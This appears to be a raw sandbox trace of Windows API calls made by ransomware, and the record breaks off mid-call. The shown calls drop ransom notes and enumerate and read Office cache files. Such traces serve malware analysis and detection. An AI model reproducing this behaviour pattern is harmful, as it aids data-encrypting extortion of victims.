RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524448 [0069.175] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x5244d8 [0069.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524448 | out: hHeap=0x510000) returned 1 [0069.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5244d8 | out: hHeap=0x510000) returned 1 [0069.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524400 | out: hHeap=0x510000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40) returned 0x524400 [0069.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x5a0) returned 0x543a38 [0069.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x77) returned 0x51ff00 [0069.176] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.176] AreFileApisANSI () returned 1 [0069.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.176] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.176] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT") returned 93 [0069.176] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\@_FILES_WERE_ENCRYPTED_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\@_files_were_encrypted_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.179] GetFileType (hFile=0x1f0) returned 0x1 [0069.179] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.180] AreFileApisANSI () returned 1 [0069.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.180] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xbc) returned 0x54a680 [0069.180] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=94 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT") returned 94 [0069.180] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\@_HOW_TO_PAY_THE_RANSOM_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\@_how_to_pay_the_ransom_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.180] GetFileType (hFile=0x1f0) returned 0x1 [0069.180] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.181] AreFileApisANSI () returned 1 [0069.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.181] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xba) returned 0x54a680 [0069.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x54a680, cchWideChar=93 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT") returned 93 [0069.181] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\@_HOW_TO_DECRYPT_FILES_@.TXT" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\@_how_to_decrypt_files_@.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba28, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1f0 [0069.182] GetFileType (hFile=0x1f0) returned 0x1 [0069.182] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.183] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6991da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6991da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.183] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6991da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6991da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="..", cAlternateFileName="")) returned 1 [0069.183] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa696bc40, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa696bc40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa696bc40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.183] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6991da0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6991da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6991da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.183] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6991da0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6991da0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6991da0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae28 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x55ae90 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.183] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.183] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.183] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.184] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.184] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.184] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.184] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.184] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.184] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0069.184] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0069.184] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533d90 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x533de0 [0069.184] AreFileApisANSI () returned 1 [0069.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0069.184] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x9e) returned 0x536b88 [0069.184] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x536b88, cchWideChar=79 | out: lpWideCharStr="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 79 [0069.184] CreateFileW (lpFileName="C:\\\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x4aba3c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0069.184] GetFileType (hFile=0x190) returned 0x1 [0069.185] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.185] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc72, lpOverlapped=0x0) returned 1 [0069.188] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc6a, lpOverlapped=0x0) returned 1 [0069.188] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc62, lpOverlapped=0x0) returned 1 [0069.188] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc5a, lpOverlapped=0x0) returned 1 [0069.188] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc52, lpOverlapped=0x0) returned 1 [0069.188] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc4a, lpOverlapped=0x0) returned 1 [0069.188] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc42, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc3a, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc32, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc2a, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc22, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc1a, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc12, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc0a, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xc02, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbfa, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbf2, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbea, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbe2, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbda, lpOverlapped=0x0) returned 1 [0069.189] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbd2, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbca, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbc2, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbba, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbb2, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xbaa, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xba2, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb9a, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb92, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb8a, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb82, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb7a, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb72, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb6a, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb62, lpOverlapped=0x0) returned 1 [0069.190] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb5a, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb52, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb4a, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb42, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb3a, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb32, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb2a, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb22, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb1a, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb12, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0xb0a, lpOverlapped=0x0) returned 1 [0069.191] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, 